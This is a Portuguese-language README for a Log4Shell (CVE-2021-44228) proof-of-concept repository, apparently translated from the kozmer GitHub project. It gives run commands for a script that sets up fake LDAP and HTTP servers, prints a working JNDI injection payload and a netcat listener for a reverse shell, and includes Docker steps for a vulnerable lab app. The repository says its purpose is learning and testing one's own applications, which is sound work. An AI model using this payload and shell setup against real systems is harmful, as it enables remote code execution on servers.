Uma prova de conceito para a vulnerabilidade CVE-2021-44228 recentemente descoberta.
Recentemente, houve uma nova vulnerabilidade no log4j, uma biblioteca de log java que é amplamente utilizada em áreas como elasticsearch, minecraft e muitos outros.
Neste repositório há um exemplo de aplicação vulnerável e exploração de prova de conceito (POC) dela.
Como PoC existe um arquivo python que automatiza o processo.
pip install -r requirements.txt
nc - lvnp 9001
jdk1.8.0_20
e estar no mesmo diretório. $ python3 poc . py - - userip localhost - - webport 8000 - - lport 9001
[!] CVE : CVE - 2021 - 44228
[!] Github repo : https : // github . com / kozmer / log4j - shell - poc
[ + ] Exploit java class created success
[ + ] Setting up fake LDAP server
[ + ] Send me : ${ jndi : ldap : // localhost : 1389 / a }
Listening on 0.0 . 0.0 : 1389
Este script configurará o servidor HTTP e o servidor LDAP para você e também criará a carga que você pode usar para colar no parâmetro vulnerável. Depois disso, se tudo correr bem, você deverá obter um shell no lport.
Existe um Dockerfile com o webapp vulnerável. Você pode usar isso seguindo as etapas abaixo:
1 : docker build - t log4j - shell - poc .
2 : docker run -- network host log4j - shell - poc
Quando estiver em execução, você poderá acessá-lo em localhost:8080
Felizmente, a Oracle fornece um arquivo para todas as versões anteriores do Java:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Role para baixo até 8u20
e baixe os arquivos apropriados para seu sistema operacional e hardware.
Nota: Você precisa criar uma conta para poder baixar o pacote.
Depois de baixar e extrair o arquivo, você poderá encontrar java
e alguns binários relacionados em jdk1.8.0_20/bin
.
Nota: Certifique-se de extrair a pasta jdk neste repositório com o mesmo nome para que funcione.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Este repositório não se destina a ser uma exploração de um clique para CVE-2021-44228. O objetivo deste projeto é ajudar as pessoas a aprenderem sobre esta vulnerabilidade, e talvez testar suas próprias aplicações (no entanto existem aplicações melhores para este propósito, ei: https://log4shell.tools/).